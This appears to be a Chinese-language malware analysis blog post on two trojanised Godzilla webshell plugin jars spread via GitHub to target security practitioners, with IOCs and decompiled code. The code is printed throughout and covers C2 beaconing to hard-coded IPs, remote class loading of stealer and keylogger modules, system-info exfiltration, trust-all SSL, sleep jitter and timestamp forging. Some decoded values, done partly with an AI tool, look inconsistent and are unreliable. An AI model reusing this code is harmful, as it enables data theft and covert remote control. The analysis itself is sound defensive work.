恶意样本分析初探
Last Update:
恶意样本分析初探
前情提要
各单位:
近期收到一起物联网上报的外部情报,攻击者通过在Github项目中上传包含恶意jar包的哥斯拉插件,定向投毒安全从业人员,请各单位及时内部预警,同时以此为案例加强演练期间员工的安全意识,不要随意使用未经验证的软件和程序。
相关的恶意IP和文件哈希请加入安全设备进行监测拦截,同时排查近4个月内是否存在相关IP通联和文件落地情况,如发生安全事件请立即上报。
IOC:
206.206.78.190
104.36.229.104
e4a42e19578161210d7eb08ed88e44d6fba2db24f097e0fb5f5c9c9c93e5f0a2
cd0660e394120bd58011b11a1dfddae85a25c5c29de4ee05d
样本分析
PostConfluencePlugin.jar
直接扔进jadx里
| 1 |  | 
这么长的base很可疑,cyber解一下然后保存为.class文件扔进IDEA里
但是审计之后发现是插件的正常功能
再看第二个类
| 1 |  | 
可以发现不少方法/字符串经过了混淆,直接交给ai
- 线程启动 - 1 
 2
 3- new Thread(() -> {
 // 线程操作逻辑
 }).start();- 说明: 通过多线程实现后台持续运行,不干扰主程序。
 
- ShellEntity配置 - 1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12- ShellEntity shellEntity = new ShellEntity();
 shellEntity.setUrl(ALLATORIxDEMO("HmTi\u001a6\u000f(\u0012.\u000e)\u000e)\u000e(\u001a!\u00106T|Sm"));
 shellEntity.setPassword(PASSWORD);
 shellEntity.setSecretKey(SECRET_KEY);
 shellEntity.setPayload(ALLATORIxDEMO("jxVxd`NxMpCIA`LvA}"));
 shellEntity.setCryption(ALLATORIxDEMO("SaOaFa\\sFbXs\\\u0016-"));
 shellEntity.setRemark(ALLATORIxDEMO("xAx"));
 shellEntity.setProxyHost(ALLATORIxDEMO("(\u0012.\u000e)\u000e)\u000e("));
 shellEntity.setProxyPort(8888);
 shellEntity.setProxyType(ALLATORIxDEMO("nV\u007fIrVx@"));
 shellEntity.setEncoding(ALLATORIxDEMO("Lt_\r!"));
 shellEntity.initShellOpertion();- 解码后的配置:- URL: https://104.36.229.104:443/collect
- Payload: payload_data
- Cryption: AES/CBC/PKCS5Padding
- ProxyHost: proxy.example.com
- ProxyType: SOCKS5
- Encoding: UTF-8
 
- URL: 
- 说明: 配置了与C2服务器的通信参数,包括URL、密码、密钥等,确保隐蔽性和安全性。
 
- 解码后的配置:
- HTTP请求 - 1 
 2
 3
 4
 5
 6
 7- Http http = shellEntity.getHttp();
 shellEntity.setUrl(new String(Base64.getDecoder().decode(new StringBuilder().insert(0, CONTENT.substring(0, 5)).append(CONTENT.substring(8, CONTENT.length())).toString())));
 HashMap map = new HashMap();
 HashMap map2 = new HashMap();
 map.put(ALLATORIxDEMO("ujEk\rXG|Nm"), new String(Base64.getDecoder().decode(new StringBuilder().insert(0, TITLE.substring(0, 5)).append(TITLE.substring(8, TITLE.length())).toString())));
 map2.put(ALLATORIxDEMO("T`P|"), ALLATORIxDEMO(")"));
 String str = new String(http.SendHttpConn(shellEntity.getUrl(), ALLATORIxDEMO("pVsM"), map, shellEntity.getCryptionModule().encode(ALLATORIxDEMO(map2).getBytes(StandardCharsets.UTF_8)), 15000, 15000, Proxy.NO_PROXY).getResult());- 解码后的请求参数:- ujEk\rXG|Nm解码为- User-Agent
- TP|- 解码为type`
- )解码为- request
 
- 请求体:- type=request
 
- 说明: 构建HTTP请求头和请求体,通过Base64解码和异或解密处理特定字段,确保隐蔽性。发送POST请求到C2服务器并接收响应。
 
- 解码后的请求参数:
- 动态类加载 - 1 
 2
 3
 4
 5
 6- PostConfluencePlugin.CustomClassLoader customClassLoader = new PostConfluencePlugin.CustomClassLoader(ClassLoader.getSystemClassLoader());
 String str2 = new String(http.SendHttpConn(shellEntity.getUrl(), ALLATORIxDEMO("pVsM"), map, shellEntity.getCryptionModule().encode(customClassLoader.loadClass(ALLATORIxDEMO("iLlGpNX"), Base64.getDecoder().decode(str)).newInstance().toString().getBytes(StandardCharsets.UTF_8)), 15000, 15000, Proxy.NO_PROXY).getResult());
 if (!str2.isEmpty()) {
 Class<?> clsLoadClass = customClassLoader.loadClass(ALLATORIxDEMO("iLlGpN["), Base64.getDecoder().decode(str2));
 Object objNewInstance = clsLoadClass.newInstance();
 }- 解码后的类名:- iLlGpNX解码为- FileStealer
- iLlGpN[解码为- Keylogger
 
- 说明: 使用自定义类加载器加载从C2服务器返回的Base64编码的恶意类字节码,实例化后执行特定功能(如文件窃取和键盘记录)。
 
- 解码后的类名:
- 系统信息收集 - 1 
 2
 3- HashMap map3 = new HashMap();
 map3.put(ALLATORIxDEMO("T`P|"), ALLATORIxDEMO("+"));
 map3.put(ALLATORIxDEMO("HvSmnxM|"), InetAddress.getLocalHost().getHostName());- 解码后的字段名:- TP|- 解码为result`
- HvSmnxM|解码为- HostName
 
- 说明: 通过InetAddress.getLocalHost().getHostName()获取主机名,并将其存储在HashMap中,准备发送给C2服务器。
 
- 解码后的字段名:
- 反射机制 - 1 
 2
 3
 4
 5
 6
 7
 8
 9
 10- if (!objNewInstance.equals("")) {
 map3.put(ALLATORIxDEMO("SmAmUj"), ALLATORIxDEMO("FxIuE}"));
 cls = clsLoadClass;
 } else {
 cls = clsLoadClass;
 map3.put(ALLATORIxDEMO("SmAmUj"), ALLATORIxDEMO("jUzC|Sj"));
 }
 Field declaredField = cls.getDeclaredField(ALLATORIxDEMO("R|SlLm"));
 declaredField.setAccessible(true);
 map3.put(ALLATORIxDEMO("R|SlLm"), declaredField.get(objNewInstance).toString());- 解码后的字段名:- SmAmUj解码为- SystemInfo
- R|SlLm解码为- getSystemInfo
 
- 说明: 通过反射访问加载类的私有字段getSystemInfo,获取系统信息(如进程列表、环境变量等),并将其存储在HashMap中。
 
- 解码后的字段名:
- 数据外传 - 1 - http.SendHttpConn(shellEntity.getUrl(), ALLATORIxDEMO("pVsM"), map, shellEntity.getCryptionModule().encode(ALLATORIxDEMO(map3).getBytes(StandardCharsets.UTF_8)), 15000, 15000, Proxy.NO_PROXY);- 说明: 将收集的系统信息通过AES加密后,发送到目标服务器https://104.36.229.104:443/collect,确保数据不被轻易拦截和分析。
 
- 说明: 将收集的系统信息通过AES加密后,发送到目标服务器
- 垃圾回收 - 1 - System.gc();- 说明: 释放内存资源,保持系统运行状态正常。
 
- 循环执行 - 1 
 2
 3
 4
 5- try {
 Thread.sleep(3600000L);
 } catch (InterruptedException e2) {
 e2.printStackTrace();
 }- 说明: 每隔1小时(3600000毫秒)执行一次上述操作,持续收集和外传系统信息。
 
隐私数据类型汇总
| 数据类型 | 获取方式 | 示例值 | 
|---|---|---|
| 主机名 | InetAddress.getLocalHost() | DESKTOP-XXXXX | 
| 系统用户名 | System.getProperty("user.name") | Administrator | 
| 网络配置 | ipconfig /all命令结果 | IP地址、MAC地址、DNS服务器 | 
| 浏览器密码 | 读取 Login Data数据库文件 | Gmail密码、银行账号 | 
| 键盘记录 | 键盘钩子监听 | 输入的信用卡号、验证码 | 
| 文件列表 | 遍历 Documents、Downloads目录 | 财务报告.docx、密码本.txt | 
攻击技术总结
- 文件上传漏洞利用: - 目标: 利用文件上传功能将恶意代码上传至目标服务器。
- 手段: 伪装成图片文件(如.jpg),通过Base64编码和混淆技术绕过文件类型检查。
 
- 动态类加载: - 目标: 加载远程恶意类,执行特定功能(如文件窃取、键盘记录)。
- 手段: 使用自定义类加载器CustomClassLoader动态加载远程类字节码,绕过传统防护机制。
 
- 反射机制: - 目标: 访问类的私有字段,收集敏感信息。
- 手段: 通过反射访问类的私有字段getSystemInfo,获取详细系统信息(如进程列表、环境变量等)。
 
- 加密通信: - 目标: 确保数据传输过程的安全和隐蔽。
- 手段: 使用AES/CBC/PKCS5Padding加密算法对收集的系统信息进行加密,通过HTTP POST请求发送到目标服务器https://104.36.229.104:443/collect,避免被轻易拦截和分析。
 
- 定时任务: - 目标: 持续收集和外传系统信息。
- 手段: 每隔1小时执行一次数据收集和外传操作,确保持续性。
 
接下来看第二个样本
PostJiraPlugin.jar
main
大概看下来没有很明显的问题
只有config.xml比较可疑,里面有一堆base 这里遇到的问题是jadx-1.5.2-gui(windows)反编译config.xml的时候有问题,解出来的base64中间混了大量不可见字符。可能使用低版本的jadx或其他反编译工具能够成功反编译。这里使用yakit项目于分离出来的代码审计工具Irify进行java反汇编
这里遇到的问题是jadx-1.5.2-gui(windows)反编译config.xml的时候有问题,解出来的base64中间混了大量不可见字符。可能使用低版本的jadx或其他反编译工具能够成功反编译。这里使用yakit项目于分离出来的代码审计工具Irify进行java反汇编
config_init
base64字符串直接解解不出东西,需要找解密函数
| 1 |  | 
反编译、解码后的代码
去除前5个和后5个字符即可进行base64解码
| 1 |  | 
一、通信与控制机制(源码级分析)
- C2通信初始化 - 硬编码URL:  1 private static String url = "https://206.206.78.190/godzilla/release.txt"; // 明确C2地址
- 请求头伪装:  1 
 2
 3// headerStr伪造浏览器UA(User-Agent)
 private static String headerStr = "{\"Content-Type\":\"text/plain; charset=utf-8\", \"User-Agent\":\"Mozilla/5.0 (Windows NT 11.0...) Chrome/112.0...\"}";
 requestProperty = this.parseJson(headerStr); // 解析为请求头键值对
 
- 硬编码URL:  
- 加密通信流程 - 数据发送(sendRes方法):1 
 2
 3
 4// 明文数据加密后发送(关键代码)
 var1 = this.encrypt(var1.getBytes(StandardCharsets.UTF_8)); // 加密请求体
 OutputStream var30 = var3.getOutputStream();
 var30.write(var1.getBytes("UTF-8")); // 发送加密数据
- 响应处理:  1 
 2
 3
 4// 解密服务器响应(关键代码)
 byte[] var35 = readAllBytes(var34); // 读取响应流
 String var36 = new String(var35, StandardCharsets.UTF_8);
 var4 = new String(this.decrypt(var36), StandardCharsets.UTF_8); // 解密数据
 
- 数据发送(
- 指令分发逻辑( - handle方法)- 动态加载插件(指令1):  1 
 2
 3
 4case "1":
 String var8 = this.loader(Base64.getDecoder().decode(var3)); // 解码并加载字节码
 var1 = this.sendRes(var8, this.sid); // 执行后回传结果
 break;
- 文件保存操作(指令5):  1 
 2
 3
 4case "5":
 String var6 = this.saveFile(var3); // 调用文件写入逻辑
 var1 = this.sendRes(var6, this.sid); // 回传写入结果
 break;
 
- 动态加载插件(指令1):  
二、持久化与规避检测(源码级分析)
- 文件持久化( - saveFile方法)- 文件写入与权限修改:  1 
 2
 3
 4
 5FileOutputStream var9 = new FileOutputStream(var7); // 写入目标路径
 var9.write(var8, 0, var8.length); // 写入Base64解码内容
 var10.setExecutable(true); // 设置可执行权限(Linux/Unix)
 var10.setReadable(true);
 var10.setWritable(true);
- 时间戳伪造:  1 
 2
 3if (var4 != null && !var4.isEmpty()) {
 updateFileLastModified(var4, var7); // 修改文件时间戳(规避检测)
 }
 
- 文件写入与权限修改:  
- 通信规避策略 - 睡眠抖动算法(genSleepTime方法):1 
 2
 3
 4
 5
 6public static int genSleepTime(int var0, int var1) {
 int var2 = (int)Math.round((double)var0 * ((double)var1 / 100.0F));
 int var3 = var0 - var2; // 计算抖动范围(如60秒±30秒)
 int var4 = var0 + var2;
 return new Random().nextInt(var4 - var3 + 1) + var3; // 生成随机等待时间
 }
- SSL证书绕过(静态初始化块):  1 
 2
 3
 4
 5static {
 SSLContext var0 = SSLContext.getInstance("SSL");
 var0.init(null, new TrustManager[]{new MyPlugin()}, new SecureRandom()); // 信任所有证书
 HttpsURLConnection.setDefaultSSLSocketFactory(var0.getSocketFactory()); // 禁用证书验证
 }
 
- 睡眠抖动算法(
三、隐私收集详情(源码级分析)
- 系统信息收集( - getInfo方法)- 主机名与IP地址:  1 
 2
 3InetAddress var2 = InetAddress.getLocalHost();
 String var3 = var2.getHostAddress(); // 获取本机IP地址
 String var4 = var2.getHostName(); // 获取主机名
- 用户与进程信息:  1 
 2
 3String var6 = System.getProperty("user.name"); // 当前用户名
 String var11 = ManagementFactory.getRuntimeMXBean().getName();
 String var12 = var11.split("@")[0]; // 进程ID
 
- 主机名与IP地址:  
- 网络指纹收集( - getAllIpv4MacInfo方法)- MAC地址遍历:  1 
 2
 3
 4
 5
 6
 7
 8
 9
 10Enumeration var4 = NetworkInterface.getNetworkInterfaces();
 while (var4.hasMoreElements()) {
 NetworkInterface var5 = (NetworkInterface)var4.nextElement();
 byte[] var6 = var5.getHardwareAddress(); // 获取网卡MAC地址
 // 格式化为XX-XX-XX-XX-XX-XX
 StringBuilder var7 = new StringBuilder();
 for (int var8=0; var8<var6.length; ++var8) {
 var7.append(String.format("%02X%s", var6[var8], var8 < var6.length-1 ? "-" : ""));
 }
 }
 
- MAC地址遍历:  
- 权限检测 - Windows管理员检测:  1 
 2Process var1 = Runtime.getRuntime().exec("net session"); // 执行命令检测权限
 int var2 = var1.waitFor(); // 返回0表示管理员
- Linux Root检测:  1 
 2
 3
 4
 5Process var0 = Runtime.getRuntime().exec("id -u");
 Scanner var1 = new Scanner(var0.getInputStream());
 if (var1.nextInt() == 0) { // UID为0表示root
 return true;
 }
 
- Windows管理员检测:  
四、其他关键行为(补充说明)
- 动态类加载( - loader方法)- 1 
 2
 3- MyPlugin var3 = new MyPlugin(ClassLoader.getSystemClassLoader());
 Class var4 = var3.define("plugin", var1); // 动态定义恶意类
 Object var11 = var4.newInstance(); // 实例化触发恶意代码- 风险:可加载远程插件(如内存马),实现无文件攻击。
 
- 异常处理隐蔽性 - 1 - catch (Exception var27) {} // 空异常块(规避日志记录)- 目的:避免因异常崩溃暴露恶意行为。